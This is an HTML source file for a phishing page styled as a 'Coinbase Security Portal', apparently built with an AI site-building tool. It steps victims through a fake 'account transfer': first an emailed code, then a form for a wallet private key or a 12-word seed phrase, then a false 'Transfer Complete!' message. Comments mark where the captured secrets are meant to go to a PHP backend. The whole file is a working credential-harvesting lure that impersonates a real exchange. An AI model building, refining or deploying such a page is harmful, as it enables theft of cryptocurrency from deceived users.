coinbasedemo / index.html
Salahmuh's picture
make the 12 boxes minimal and small and remove the box around the numbers beside the 12 seed phrase boxes - Follow Up Deployment
6886814 verified
Raw
History Blame Contribute Delete
25.6 kB
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Coinbase Security Portal</title>
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/cryptocoins/0.2.0/cryptocoins.css">
<style>
body {
font-family: 'Inter', sans-serif;
background-color: #0e0f11;
color: #f5f5f7;
}
.coinbase-gradient {
background: linear-gradient(135deg, #1652F0 0%, #1652F0 50%, #0A46E4 100%);
}
.input-box {
background-color: rgba(255, 255, 255, 0.05);
border: 1px solid rgba(255, 255, 255, 0.1);
transition: all 0.3s ease;
}
.input-box:focus {
border-color: #1652F0;
box-shadow: 0 0 0 2px rgba(22, 82, 240, 0.2);
}
.seed-input {
letter-spacing: 0.05em;
font-size: 0.8rem;
transition: all 0.2s ease;
min-width: 0;
flex-grow: 1;
padding: 0.35rem 0.5rem;
height: 2rem;
}
.seed-input:focus {
box-shadow: 0 0 0 1px rgba(22, 82, 240, 0.3);
}
.seed-label {
color: #6b7280;
font-size: 1rem;
min-width: 1.2rem;
text-align: right;
}
#seedInputsContainer {
grid-template-columns: repeat(2, 1fr);
gap: 0.5rem;
}
</style>
</head>
<body class="min-h-screen flex flex-col">
<!-- Main Content -->
<main class="flex-grow flex items-center justify-center p-4 sm:p-6">
<!-- Page 1: Encrypted Code Entry -->
<div id="page1" class="w-full max-w-md p-4 sm:p-8 rounded-xl bg-gray-900 bg-opacity-80 backdrop-blur-sm border border-gray-800 shadow-2xl mx-2 sm:mx-0">
<div class="text-center mb-8">
<svg class="mx-auto h-12 w-12 text-blue-500" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z" />
</svg>
<h2 class="mt-6 text-xl sm:text-2xl font-bold text-white">Account Security Verification</h2>
<p class="mt-2 text-xs sm:text-sm text-gray-400">Enter the unique encrypted code sent to your email to proceed with account transfer</p>
</div>
<form class="mt-8 space-y-6">
<div class="rounded-md shadow-sm space-y-4">
<div>
<label for="encrypted-code" class="sr-only">Encrypted Code</label>
<input id="encrypted-code" name="code" type="text" inputmode="numeric" pattern="[0-9]*" required class="appearance-none relative block w-full px-4 py-3 input-box rounded-lg placeholder-gray-500 text-white focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-transparent" placeholder="Enter 12-digit encrypted code">
</div>
</div>
<div>
<button type="button" onclick="verifyCode()" class="group relative w-full flex justify-center py-3 px-4 border border-transparent text-sm font-medium rounded-md text-white coinbase-gradient hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 transition-all duration-200 min-h-[44px]">
<span class="absolute left-0 inset-y-0 flex items-center pl-3">
<svg class="h-5 w-5 text-blue-300 group-hover:text-blue-200" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor">
<path fill-rule="evenodd" d="M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z" clip-rule="evenodd" />
</svg>
</span>
Transfer My Account
</button>
</div>
</form>
<div class="mt-6 text-center">
<p class="text-xs text-gray-500">
Didn't receive a code? <a href="#" class="font-medium text-blue-400 hover:text-blue-300">Resend code</a>
</p>
</div>
</div>
<!-- Page 2: Transfer Method Selection (Hidden by default) -->
<div id="page2" class="hidden w-full max-w-md p-8 rounded-xl bg-gray-900 bg-opacity-80 backdrop-blur-sm border border-gray-800 shadow-2xl">
<div class="text-center mb-8">
<svg class="mx-auto h-12 w-12 text-blue-500" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 8V4m0 0h4M4 4l5 5m11-1V4m0 0h-4m4 0l-5 5M4 16v4m0 0h4m-4 0l5-5m11 5l-5-5m5 5v-4m0 4h-4" />
</svg>
<h2 class="mt-6 text-2xl font-bold text-white">Select Transfer Method</h2>
<p class="mt-2 text-sm text-gray-400">Choose how you'd like to transfer your account</p>
</div>
<div class="mt-8 space-y-4">
<button onclick="selectMethod('privateKey')" class="w-full flex items-center justify-between p-4 rounded-lg bg-gray-800 hover:bg-gray-700 border border-gray-700 transition-all duration-200 group">
<div class="flex items-center">
<div class="p-2 rounded-md bg-blue-900/30 group-hover:bg-blue-900/50">
<svg class="h-6 w-6 text-blue-400" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z" />
</svg>
</div>
<div class="ml-4 text-left">
<h3 class="font-medium text-white">Private Key</h3>
<p class="text-sm text-gray-400">Import using your wallet's private key</p>
</div>
</div>
<svg class="h-5 w-5 text-gray-400 group-hover:text-white" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor">
<path fill-rule="evenodd" d="M7.293 14.707a1 1 0 010-1.414L10.586 10 7.293 6.707a1 1 0 011.414-1.414l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414 0z" clip-rule="evenodd" />
</svg>
</button>
<button onclick="selectMethod('seedPhrase')" class="w-full flex items-center justify-between p-4 rounded-lg bg-gray-800 hover:bg-gray-700 border border-gray-700 transition-all duration-200 group">
<div class="flex items-center">
<div class="p-2 rounded-md bg-green-900/30 group-hover:bg-green-900/50">
<svg class="h-6 w-6 text-green-400" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z" />
</svg>
</div>
<div class="ml-4 text-left">
<h3 class="font-medium text-white">Recovery with Seed Phrase</h3>
<p class="text-sm text-gray-400">Import using your 12-24 word recovery phrase</p>
</div>
</div>
<svg class="h-5 w-5 text-gray-400 group-hover:text-white" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor">
<path fill-rule="evenodd" d="M7.293 14.707a1 1 0 010-1.414L10.586 10 7.293 6.707a1 1 0 011.414-1.414l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414 0z" clip-rule="evenodd" />
</svg>
</button>
</div>
</div>
<!-- Page 3A: Private Key Input (Hidden by default) -->
<div id="page3a" class="hidden w-full max-w-md p-8 rounded-xl bg-gray-900 bg-opacity-80 backdrop-blur-sm border border-gray-800 shadow-2xl">
<div class="text-center mb-8">
<svg class="mx-auto h-12 w-12 text-blue-500" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z" />
</svg>
<h2 class="mt-6 text-2xl font-bold text-white">Private Key Import</h2>
<p class="mt-2 text-sm text-gray-400">Securely import your wallet using your private key</p>
</div>
<form class="mt-8 space-y-6" id="privateKeyForm">
<div>
<label for="network" class="block text-sm font-medium text-gray-300 mb-1">Network</label>
<select id="network" name="network" required class="appearance-none relative block w-full px-4 py-3 input-box rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-transparent">
<option value="" disabled selected>Select a network</option>
<option value="solana">Solana</option>
<option value="ethereum">Ethereum</option>
<option value="base">Base</option>
<option value="sui">Sui</option>
<option value="polygon">Polygon</option>
<option value="bitcoin">Bitcoin</option>
</select>
</div>
<div>
<label for="wallet-name" class="block text-sm font-medium text-gray-300 mb-1">Wallet Name</label>
<input id="wallet-name" name="wallet-name" type="text" required class="appearance-none relative block w-full px-4 py-3 input-box rounded-lg placeholder-gray-500 text-white focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-transparent" placeholder="e.g., My Secure Wallet">
</div>
<div>
<label for="private-key" class="block text-sm font-medium text-gray-300 mb-1">Private Key</label>
<div class="relative">
<input id="private-key" name="private-key" type="password" required class="appearance-none relative block w-full px-4 py-3 input-box rounded-lg placeholder-gray-500 text-white focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-transparent" placeholder="Enter your private key">
<button type="button" onclick="pastePrivateKey()" class="absolute inset-y-0 right-0 px-4 text-sm font-medium text-blue-400 hover:text-blue-300">Paste</button>
</div>
</div>
<div>
<button type="button" id="importBtn" disabled onclick="importPrivateKey()" class="group relative w-full flex justify-center py-3 px-4 border border-transparent text-sm font-medium rounded-md text-white bg-gray-700 opacity-50 cursor-not-allowed focus:outline-none transition-all duration-200">
Import Wallet
</button>
</div>
</form>
</div>
<!-- Page 3B: Seed Phrase Recovery (Hidden by default) -->
<div id="page3b" class="hidden w-full max-w-2xl p-8 rounded-xl bg-gray-900 bg-opacity-80 backdrop-blur-sm shadow-2xl">
<div class="text-center mb-8">
<svg class="mx-auto h-12 w-12 text-blue-500" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z" />
</svg>
<h2 class="mt-6 text-2xl font-bold text-white">Recovery Seed Phrase</h2>
<p class="mt-2 text-sm text-gray-400">Enter your 12-word recovery seed phrase to complete account transfer</p>
</div>
<form class="mt-8 space-y-6" id="seedForm">
<div id="seedInputsContainer" class="grid grid-cols-2 gap-4 mb-6">
<!-- Seed phrase input boxes will be generated here -->
</div>
<div class="flex items-center justify-between">
<div class="flex items-center">
<input id="show-phrase" name="show-phrase" type="checkbox" class="h-4 w-4 text-blue-600 focus:ring-blue-500 border-gray-600 rounded bg-gray-700">
<label for="show-phrase" class="ml-2 block text-sm text-gray-300">Show seed phrase</label>
</div>
</div>
<div>
<button type="button" onclick="submitSeedPhrase()" class="group relative w-full flex justify-center py-3 px-4 border border-transparent text-sm font-medium rounded-md text-white coinbase-gradient hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 transition-all duration-200">
<span class="absolute left-0 inset-y-0 flex items-center pl-3">
<svg class="h-5 w-5 text-blue-300 group-hover:text-blue-200" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor">
<path fill-rule="evenodd" d="M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z" clip-rule="evenodd" />
</svg>
</span>
Complete Transfer
</button>
</div>
</form>
<div class="mt-6 text-center">
<p class="text-xs text-gray-500">
This process is encrypted and secure. <a href="#" class="font-medium text-blue-400 hover:text-blue-300">Learn more</a>
</p>
</div>
</div>
<!-- Success Modal (Hidden by default) -->
<div id="successModal" class="hidden fixed inset-0 bg-black bg-opacity-75 flex items-center justify-center z-50">
<div class="bg-gray-900 rounded-xl p-8 max-w-md w-full border border-gray-800">
<div class="text-center">
<div class="mx-auto flex items-center justify-center h-12 w-12 rounded-full bg-green-100">
<svg class="h-6 w-6 text-green-600" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7" />
</svg>
</div>
<h3 class="mt-3 text-lg font-medium text-white">Transfer Complete!</h3>
<div class="mt-2 text-sm text-gray-400">
<p>Your account transfer has been successfully processed. You'll receive a confirmation email shortly.</p>
</div>
<div class="mt-5">
<button type="button" onclick="closeModal()" class="inline-flex justify-center px-4 py-2 text-sm font-medium text-white bg-blue-600 border border-transparent rounded-md hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500">
Close
</button>
</div>
</div>
</div>
</div>
</main>
<!-- Footer -->
<footer class="bg-black bg-opacity-50 border-t border-gray-800">
<div class="max-w-7xl mx-auto py-4 sm:py-6 px-3 sm:px-6 lg:px-8">
<div class="flex flex-col md:flex-row justify-between items-center space-y-2 md:space-y-0">
<div class="flex justify-center md:justify-start space-x-6">
<a href="#" class="text-gray-400 hover:text-white">
<span class="sr-only">Coinbase</span>
<svg class="h-6 w-6" fill="currentColor" viewBox="0 0 24 24">
<path d="M12 0A12 12 0 000 12a12 12 0 0012 12 12 12 0 0012-12A12 12 0 0012 0zm-.3 5a1.25 1.25 0 011.25 1.25v1.4a1.25 1.25 0 01-1.25 1.25h-1.4A1.25 1.25 0 019 7.65v-1.4A1.25 1.25 0 0110.25 5zm-4.45 2.1A1.25 1.25 0 017.65 9v1.25a1.25 1.25 0 01-1.25 1.25H5A1.25 1.25 0 013.75 10.2V9A1.25 1.25 0 015 7.75zm0 5.4a1.25 1.25 0 011.25 1.25v1.25A1.25 1.25 0 015 16.9h1.4a1.25 1.25 0 001.25-1.25v-1.25a1.25 1.25 0 00-1.25-1.25zm9.1 0a1.25 1.25 0 011.25 1.25v1.25a1.25 1.25 0 01-1.25 1.25h-1.4a1.25 1.25 0 01-1.25-1.25v-1.25a1.25 1.25 0 011.25-1.25zm-4.45 2.1a1.25 1.25 0 011.25 1.25v1.4a1.25 1.25 0 01-1.25 1.25h-1.4a1.25 1.25 0 01-1.25-1.25v-1.4a1.25 1.25 0 011.25-1.25z"/>
</svg>
</a>
<a href="#" class="text-gray-400 hover:text-white">Terms</a>
<a href="#" class="text-gray-400 hover:text-white">Privacy</a>
<a href="#" class="text-gray-400 hover:text-white">Security</a>
</div>
<p class="mt-4 md:mt-0 text-center text-sm text-gray-400">
&copy; 2023 Coinbase Security Portal. All rights reserved.
</p>
</div>
</div>
</footer>
<script>
// Handle transfer method selection
function selectMethod(method) {
document.getElementById('page2').classList.add('hidden');
if (method === 'privateKey') {
document.getElementById('page3a').classList.remove('hidden');
setupPrivateKeyForm();
} else {
document.getElementById('page3b').classList.remove('hidden');
generateSeedInputs();
}
}
// Setup private key form validation
function setupPrivateKeyForm() {
const form = document.getElementById('privateKeyForm');
const inputs = form.querySelectorAll('input, select');
const importBtn = document.getElementById('importBtn');
inputs.forEach(input => {
input.addEventListener('input', () => {
const allFilled = Array.from(inputs).every(i => i.value.trim() !== '');
if (allFilled) {
importBtn.disabled = false;
importBtn.classList.remove('bg-gray-700', 'opacity-50', 'cursor-not-allowed');
importBtn.classList.add('coinbase-gradient', 'hover:bg-blue-700', 'focus:ring-blue-500');
} else {
importBtn.disabled = true;
importBtn.classList.add('bg-gray-700', 'opacity-50', 'cursor-not-allowed');
importBtn.classList.remove('coinbase-gradient', 'hover:bg-blue-700', 'focus:ring-blue-500');
}
});
});
}
// Paste private key from clipboard
function pastePrivateKey() {
navigator.clipboard.readText().then(text => {
document.getElementById('private-key').value = text.trim();
const event = new Event('input');
document.getElementById('private-key').dispatchEvent(event);
}).catch(err => {
console.error('Failed to read clipboard:', err);
});
}
// Import private key
function importPrivateKey() {
const network = document.getElementById('network').value;
const walletName = document.getElementById('wallet-name').value;
const privateKey = document.getElementById('private-key').value;
// Here you would send the data to your PHP backend
console.log('Importing:', {network, walletName, privateKey});
// Show success modal
document.getElementById('successModal').classList.remove('hidden');
}
// Generate seed phrase input boxes
function generateSeedInputs() {
const container = document.getElementById('seedInputsContainer');
container.innerHTML = '';
for (let i = 1; i <= 12; i++) {
const div = document.createElement('div');
div.className = 'flex items-center space-x-2';
const span = document.createElement('span');
span.className = 'seed-label';
span.textContent = i + '.';
const input = document.createElement('input');
input.type = 'password';
input.className = 'seed-input bg-gray-800 border border-gray-700 rounded text-white focus:outline-none focus:border-blue-500 w-full';
input.placeholder = '...';
input.dataset.index = i;
input.autocomplete = 'off';
// Add paste event listener to first input
if (i === 1) {
input.addEventListener('paste', handlePaste);
}
div.appendChild(span);
div.appendChild(input);
container.appendChild(div);
}
// Toggle show/hide seed phrase
document.getElementById('show-phrase').addEventListener('change', function(e) {
const inputs = document.querySelectorAll('#seedForm input[type="password"]');
inputs.forEach(input => {
input.type = e.target.checked ? 'text' : 'password';
});
});
}
// Handle paste event for seed phrase
function handlePaste(e) {
e.preventDefault();
const pastedData = e.clipboardData.getData('text/plain').trim();
const words = pastedData.split(/\s+/);
if (words.length === 12) {
const inputs = document.querySelectorAll('#seedForm input[type="password"]');
words.forEach((word, index) => {
if (inputs[index]) {
inputs[index].value = word;
}
});
} else {
alert('Please paste exactly 12 words separated by spaces');
}
}
// Verify code and show transfer method selection
function verifyCode() {
const code = document.getElementById('encrypted-code').value.trim();
if (code.length === 12) {
document.getElementById('page1').classList.add('hidden');
document.getElementById('page2').classList.remove('hidden');
} else {
alert('Please enter a valid 12-digit code');
}
}
// Submit seed phrase
function submitSeedPhrase() {
const inputs = document.querySelectorAll('#seedForm input[type="password"], #seedForm input[type="text"]');
let allFilled = true;
const seedPhrase = [];
inputs.forEach(input => {
if (!input.value.trim()) {
allFilled = false;
}
seedPhrase.push(input.value.trim());
});
if (allFilled) {
// Here you would typically send the seed phrase to your PHP backend
console.log('Seed phrase:', seedPhrase.join(' '));
// Show success modal
document.getElementById('successModal').classList.remove('hidden');
} else {
alert('Please fill in all seed phrase words');
}
}
// Close modal
function closeModal() {
document.getElementById('successModal').classList.add('hidden');
}
</script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=Salahmuh/coinbasedemo" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html>